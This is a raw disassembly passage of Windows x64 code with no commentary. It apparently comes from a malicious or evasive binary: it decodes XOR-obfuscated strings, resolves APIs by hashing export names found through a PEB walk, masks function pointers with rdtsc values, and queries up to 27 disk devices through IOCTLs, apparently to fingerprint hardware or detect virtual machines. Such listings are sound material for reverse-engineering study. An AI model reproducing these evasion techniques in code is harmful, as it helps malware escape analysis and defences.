lea rcx, [rbp + 0x19b8]
call fcn.140054e80
nop
mov rdi, qword [rbp + 0x80]
mov rsi, qword [rbp + 0x88]
cmp rdi, rsi
je 0x14003ff4b
nop dword [rax]
lea rcx, [rbp + 0x19b8]
call fcn.14002b150
mov rbx, rax
mov rcx, rdi
call fcn.14002b150
movzx edx, word [rax]
test dx, dx
je 0x14003ff3d
movzx ecx, dx
movzx edx, cx
cmp cx, word [rbx]
jne 0x14003ff3d
add rax, 2
add rbx, 2
movzx edx, word [rax]
movzx ecx, dx
test dx, dx
jne 0x14003ff22
cmp dx, word [rbx]
je 0x14003ff5f
add rdi, 0x20
cmp rdi, rsi
jne 0x14003ff00
lea rdx, [rbp + 0x19b8]
lea rcx, [rbp + 0x80]
call fcn.14003bc40
nop
lea rcx, [rbp + 0x19b8]
call fcn.14002fcd0
inc r14d
add r12, 0x450
mov rcx, qword [rbp + 0x238]
mov rbx, qword [rbp + 0x230]
sub rcx, rbx
mov rax, r13
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, r14d
cmp rax, rdx
jb 0x14003fe90
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
nop
lea rcx, [rbp + 0x230]
call fcn.140051550
mov rbx, qword [rbp + 0x80]
mov rdi, qword [rbp + 0x88]
cmp rbx, rdi
je 0x1400401ed
movabs r8, 0xba38d454249fea6b
mov qword [rbp + 0x10d0], r8
movabs rdx, 0xcfc1cc55b526d184
mov qword [rbp + 0x10d8], rdx
movabs rsi, 0xba7cd41d24c9ea25
movabs r14, 0xcfc1cc55b567d1cd
movabs r15, 0xba5dd42024f1ea22
movabs r12, 0xcfc1cc55b526d1e8
movabs r13, 0xba38d41024d2ea2a
movdqa xmm6, xmmword [rbp + 0x10d0]
nop
xor eax, eax
mov byte [rbp + 3], al
mov byte [rbp - 0x48], al
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], r14
mov byte [rbp - 0x47], al
movdqa xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmm6
movdqa xmmword [rbp + 0x120], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x120]
mov rcx, rbx
call fcn.14004f3b0
cmp rax, 0xffffffffffffffff
jne 0x14004032d
xor eax, eax
mov byte [rbp - 0x46], al
mov byte [rbp - 0x45], al
movabs rax, 0xba38d454249fea6b
mov qword [rbp + 0x1350], rax
movabs rax, 0xcfc1cc55b526d184
mov qword [rbp + 0x1358], rax
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], r12
xor eax, eax
mov byte [rbp - 0x44], al
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x1350]
movdqa xmmword [rbp + 0x100], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x100]
mov rcx, rbx
call fcn.14004f3b0
cmp rax, 0xffffffffffffffff
jne 0x14004032d
xor eax, eax
mov byte [rbp - 0x43], al
mov byte [rbp - 0x42], al
movabs rax, 0xcfc1cc55b526d184
movabs rcx, 0xba38d454249fea6b
mov qword [rbp + 0x10e0], rcx
mov qword [rbp + 0x10e8], rax
mov qword [rbp + 0xe0], r13
mov qword [rbp + 0xe8], rax
xor eax, eax
mov byte [rbp - 0x41], al
movdqa xmm0, xmmword [rbp + 0xe0]
pxor xmm0, xmmword [rbp + 0x10e0]
movdqa xmmword [rbp + 0xe0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0xe0]
mov rcx, rbx
call fcn.14004f3b0
cmp rax, 0xffffffffffffffff
jne 0x14004032d
xor eax, eax
mov byte [rbp - 0x40], al
mov byte [rbp - 0x3f], al
movabs rax, 0xba5dd43024feea39
movabs rcx, 0xcfc1cc55b548d1eb
movabs rdx, 0xba38d454249fea6b
mov qword [rbp + 0x10f0], rdx
movabs rdx, 0xcfc1cc55b526d184
mov qword [rbp + 0x10f8], rdx
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rcx
xor eax, eax
mov byte [rbp - 0x3e], al
movdqa xmm0, xmmword [rbp + 0xb0]
pxor xmm0, xmmword [rbp + 0x10f0]
movdqa xmmword [rbp + 0xb0], xmm0
xor r8d, r8d
lea rdx, [rbp + 0xb0]
mov rcx, rbx
call fcn.14004f3b0
cmp rax, 0xffffffffffffffff
jne 0x14004032d
add rbx, 0x20
cmp rbx, rdi
jne 0x140040030
lea rcx, [rbp + 0x80]
call fcn.14002fc60
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1628], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040290
mov r9, qword [rbp + 0x1630]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140040287
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140040260
cmp r10d, esi
jne 0x140046e07
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140046e0f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r14d, edx
add r14, rdi
cmp r14, rdi
je 0x140046e07
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140046e07
mov r12d, dword [r14 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140040317
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x1400402f0
cmp r10d, r8d
je 0x140046d5a
test r11d, r11d
jne 0x1400402d0
mov rax, qword [rax]
jmp 0x140040220
lea rcx, [rbp + 0x80]
call fcn.14002fc60
xor eax, eax
mov byte [rbp - 0x3d], al
mov byte [rbp - 0x3c], al
movabs rax, 0xc941bc0478b1b637
movabs rcx, 0xb9a8be11d947b2ed
movabs rdx, 0x654acb96220cf720
movabs rbx, 0xba38d454249fea6b
movabs r8, 0xde2a68bf263a2b4e
mov qword [rbp + 0x1380], rbx
movabs rbx, 0xcfc1cc55b526d184
mov qword [rbp + 0x1388], rbx
movabs rbx, 0x654acb962268d245
mov qword [rbp + 0x1390], rbx
mov qword [rbp + 0x1398], r8
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], rcx
mov qword [rbp + 0x140], rdx
mov qword [rbp + 0x148], r8
xor eax, eax
mov byte [rbp - 0x3b], al
movdqa xmm0, xmmword [rbp + 0x130]
pxor xmm0, xmmword [rbp + 0x1380]
movdqa xmmword [rbp + 0x130], xmm0
movdqa xmm1, xmmword [rbp + 0x140]
pxor xmm1, xmmword [rbp + 0x1390]
movdqa xmmword [rbp + 0x140], xmm1
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x38b0]
call fcn.14007b900
xor eax, eax
mov dword [rsp + 0x60], eax
lea r15, [0x14003bf30]
mov rcx, 0xffffffffffffffff
lea rbx, [rbp + 0x130]
mov rdx, rcx
inc rdx
cmp byte [rbx + rdx], 0
jne 0x140040426
inc rdx
mov r9d, eax
lea r8, [rbp + 0x130]
lea rcx, [rbp + 0x38b0]
call fcn.1400313d0
mov rax, qword [0x1401bf4c0]
test rax, rax
jne 0x14004067d
xor esi, esi
mov edi, 0xf75db66e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1100], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400404e0
mov r8, qword [rbp + 0x1108]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400404d7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400404b0
cmp r9d, esi
jne 0x140040625
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004062d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040625
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040625
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040568
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040541
cmp r9d, edi
je 0x14004057a
test r10d, r10d
jne 0x140040520
mov rax, qword [rax]
jmp 0x140040470
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004062f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004062f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400405e4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400405c0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040614
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x1400405f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040470
xor ebx, ebx
mov qword [0x1401bf4c0], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401bf4c8], rax
mov ecx, eax
cmp rax, rbx
je 0x140040640
xor rax, rbx
mov qword [0x1401bf4c0], rax
xor ecx, 0xf75db66e
mov dword [0x1401bf4b8], ecx
lea r15, [0x14003bf30]
jmp 0x140040684
mov r10, qword [0x1401bf4c8]
xor r10, rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, [rbp + 0x38b0]
call r10
mov r14, rax
mov qword [rsp + 0x78], rax
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], rax
cmp rax, 0xffffffffffffffff
je 0x140040eac
mov qword [rbp + 0x3c], 0
xor eax, eax
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x38], eax
mov rcx, qword [0x1401bf540]
test rcx, rcx
jne 0x14004091b
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1110], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040780
mov r8, qword [rbp + 0x1118]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040777
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040750
cmp r9d, esi
jne 0x1400408c5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400408cd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400408c5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400408c5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040808
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400407e1
cmp r9d, edi
je 0x14004081a
test r10d, r10d
jne 0x1400407c0
mov rax, qword [rax]
jmp 0x140040710
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x1400408cf
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x1400408cf
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040884
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040860
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x1400408b4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040890
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040710
xor ebx, ebx
mov qword [0x1401bf540], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rcx, [rax + rax*4]
mov rax, rcx
mov qword [0x1401bf548], rcx
mov edx, ecx
cmp rcx, rbx
je 0x1400408e0
xor rcx, rbx
mov qword [0x1401bf540], rcx
xor edx, 0x9661cbb4
mov dword [0x1401bf538], edx
mov r14, qword [rsp + 0x78]
jmp 0x140040922
mov rax, qword [0x1401bf548]
xor rax, rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
lea rcx, [rbp + 0x18]
mov qword [rsp + 0x20], rcx
mov r9d, 0xc
lea r8, [rbp + 0x38]
mov edx, 0x2d1400
mov rcx, r14
call rax
test eax, eax
je 0x140040eac
lea rcx, [rbp + 0x9e8]
call fcn.14001c9e0
nop
mov edx, dword [rbp + 0x1c]
lea r8, [rbp - 0x3a]
lea rcx, [rbp + 0x9e8]
call fcn.14001ca00
mov rax, qword [0x1401bf540]
test rax, rax
jne 0x140040bb6
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1120], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040a20
mov r8, qword [rbp + 0x1128]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040a17
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400409f0
cmp r9d, esi
jne 0x140040b65
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140040b6d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040b65
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040b65
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040aa8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040a81
cmp r9d, edi
je 0x140040aba
test r10d, r10d
jne 0x140040a60
mov rax, qword [rax]
jmp 0x1400409b0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140040b6f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140040b6f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040b24
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040b00
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040b54
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040b30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400409b0
xor ebx, ebx
mov qword [0x1401bf540], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401bf548], rax
mov ecx, eax
cmp rax, rbx
je 0x140040b80
xor rax, rbx
mov qword [0x1401bf540], rax
xor ecx, 0x9661cbb4
mov dword [0x1401bf538], ecx
jmp 0x140040bbd
mov r10, qword [0x1401bf548]
xor r10, rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rbp + 0x1c]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x9e8]
mov qword [rsp + 0x20], rax
mov r9d, 0xc
lea r8, [rbp + 0x38]
mov edx, 0x2d1400
mov rcx, qword [rbp + 0x70]
call r10
test eax, eax
je 0x140040e9f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16c0], xmm0
mov qword [rbp + 0x16d0], rax
mov rax, qword [0x1401bf540]
test rax, rax
jne 0x140040e46
xor esi, esi
mov edi, 0x9661cbb4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1130], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040cb0
mov r8, qword [rbp + 0x1138]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140040ca7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140040c80
cmp r9d, esi
jne 0x140040df5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140040dfd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140040df5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140040df5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140040d38
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140040d11
cmp r9d, edi
je 0x140040d4a
test r10d, r10d
jne 0x140040cf0
mov rax, qword [rax]
jmp 0x140040c40
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x140040dff
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140040dff
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140040db4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140040d90
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140040de4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140040dc0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140040c40
xor ebx, ebx
mov qword [0x1401bf540], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rax, [rax + rax*4]
mov r10, rax
mov qword [0x1401bf548], rax
mov ecx, eax
cmp rax, rbx
je 0x140040e10
xor rax, rbx
mov qword [0x1401bf540], rax
xor ecx, 0x9661cbb4
mov dword [0x1401bf538], ecx
jmp 0x140040e4d
mov r10, qword [0x1401bf548]
xor r10, rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0x16c0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 0x70]
call r10
mov rax, qword [rbp + 0x9e8]
cmp dword [rax + 0x18], 0
je 0x140040e9f
cmp dword [rax + 0x10], 0
jne 0x140040fed
lea rcx, [rbp + 0x9e8]
call fcn.140001e50
nop
lea rcx, [rbp + 0x68]
call fcn.14004e230
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp eax, 0x1b
jl 0x14004040e
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1618], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140040f50
mov r9, qword [rbp + 0x1620]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140040f47
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140040f20
cmp r10d, esi
jne 0x140046a67
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x140046a6f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140046a67
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140046a67
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov r9d, dword [rcx + rdi]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x140040fd7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140040fb0
cmp r10d, r8d
je 0x1400469ba
test r11d, r11d
jne 0x140040f90
mov rax, qword [rax]
jmp 0x140040ee1
lea rcx, [rbp + 0x9e8]
call fcn.140001e50
nop
lea rcx, [rbp + 0x68]
call fcn.14004e230
xor eax, eax
mov byte [rbp - 0x39], al
mov byte [rbp - 0x38], al
movabs rbx, 0xba50d43e24ecea06
movabs rax, 0xcfa2cc21b552d1aa
movabs rsi, 0xba38d454249fea6b
movabs r15, 0x654acb962268d245
movabs r14, 0xde2a68bf263a2b4e
mov qword [rbp + 0x13a0], rsi
movabs rdi, 0xcfc1cc55b526d184
mov qword [rbp + 0x13a8], rdi
mov qword [rbp + 0x13b0], r15
mov qword [rbp + 0x13b8], r14
mov qword [rbp + 0x350], rbx
mov qword [rbp + 0x358], rax
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x368], r14
xor eax, eax
mov byte [rbp - 0x37], al
movdqa xmm0, xmmword [rbp + 0x350]
pxor xmm0, xmmword [rbp + 0x13a0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm1, xmmword [rbp + 0x360]
pxor xmm1, xmmword [rbp + 0x13b0]
movdqa xmmword [rbp + 0x360], xmm1
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x34b0]
call fcn.14004f530
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ae00
test al, al
je 0x140045fa7
xor eax, eax
mov byte [rbp - 0x36], al
mov byte [rbp - 0x35], al
movabs rax, 0xcfb5cc7bb542d1e6
movabs rcx, 0x654acb96220bd231
mov qword [rbp + 0x13c0], rsi
mov qword [rbp + 0x13c8], rdi
mov qword [rbp + 0x13d0], r15
mov qword [rbp + 0x13d8], r14
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], rax
mov qword [rbp + 0x2e0], rcx
mov qword [rbp + 0x2e8], r14
xor eax, eax
mov byte [rbp - 0x34], al
movdqa xmm0, xmmword [rbp + 0x2d0]
pxor xmm0, xmmword [rbp + 0x13c0]
movdqa xmmword [rbp + 0x2d0], xmm0
movdqa xmm1, xmmword [rbp + 0x2e0]
pxor xmm1, xmmword [rbp + 0x13d0]
movdqa xmmword [rbp + 0x2e0], xmm1
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x34d0]
call fcn.14004f530
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ae00
test al, al
je 0x140045fa7
xor eax, eax
mov byte [rbp - 0x33], al
mov byte [rbp - 0x32], al
movabs rbx, 0xba5ad43924feea08
movabs rax, 0xcfefcc34b54fd1f6
movabs rcx, 0x654acbf5221cd231
mov qword [rbp + 0x13e0], rsi
mov qword [rbp + 0x13e8], rdi
mov qword [rbp + 0x13f0], r15
mov qword [rbp + 0x13f8], r14
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x260], rcx
mov qword [rbp + 0x268], r14
xor eax, eax
mov byte [rbp - 0x31], al
movdqa xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x13e0]
movdqa xmmword [rbp + 0x250], xmm0
movdqa xmm1, xmmword [rbp + 0x260]
pxor xmm1, xmmword [rbp + 0x13f0]
movdqa xmmword [rbp + 0x260], xmm1
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x34f0]
call fcn.14004f530
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ae00
test al, al
je 0x140045fa7
xor eax, eax
mov byte [rbp - 0x30], al
mov byte [rbp - 0x2f], al
movabs rax, 0xcfa3cc34b54fd1f6
movabs rcx, 0x652ccbe2221cd26b
mov qword [rbp + 0x1400], rsi
mov qword [rbp + 0x1408], rdi
mov qword [rbp + 0x1410], r15
mov qword [rbp + 0x1418], r14
mov qword [rbp + 0x270], rbx
mov qword [rbp + 0x278], rax
mov qword [rbp + 0x280], rcx
mov qword [rbp + 0x288], r14
xor eax, eax
mov byte [rbp - 0x2e], al
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0x1400]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm1, xmmword [rbp + 0x280]
pxor xmm1, xmmword [rbp + 0x1410]
